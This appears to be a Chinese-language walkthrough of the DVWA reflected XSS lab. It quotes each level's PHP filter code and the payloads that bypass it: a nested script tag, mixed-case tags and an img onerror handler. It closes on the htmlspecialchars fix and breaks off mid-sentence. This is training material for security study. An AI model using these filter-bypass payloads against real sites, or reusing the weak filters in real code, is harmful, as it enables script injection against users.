Reflected Cross Site Scripting (XSS)
low
直接尝试
<script>alert('xss')</script>
弹窗成功
medium
还是先尝试<script>alert('xss')</script>
发现并没有弹窗但页面显示了Hello alert('xss')
猜测是<script>
被删除
看波源码
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
可见str_replace
函数将<script>
删除
那可以尝试一下双写或者大小写绕过
因为删除的是<script>
所以双写时尝试<s<script>cript>
进行绕过
使用
<s<script>cript>alert('xss')</script>
成功绕过
再来尝试一下大小写<SCript>alert('xss')</script>
成功
high
同样先尝试<script>alert('xss')</script>
发现页面显示除了hello只有>
猜测也是将某个关键词过滤了
看波源码
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
preg_replace
函数执行一个正则表达式的搜索和替换,也就是<
,s
,c
,r
,i
,p
,t
均被替换为空,双写大小写绕过均不能使用
遇到这种情况一般要考虑使用input标签的一些特殊事件来执行js代码,如onfocus事件
,onmouseover事件
尝试onfocus=javascript:alert('xss')
发现行不通。。
再来尝试换一个标签来执行js代码,构造a标签再尝试利用a标签的href属性执行js代码<a href=javascript:alert('xss') > xss</a>
也不行。。
这里还要换标签
可以通过img、body等标签
的事件或者iframe等标签的src
注入的js代码
使用<img src=1 onerror=alert('xss')>
成功
impossible
老样子尝试<script>alert('xss')</script>
会发现全显示了
看源码
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
原因是htmlspecialchars<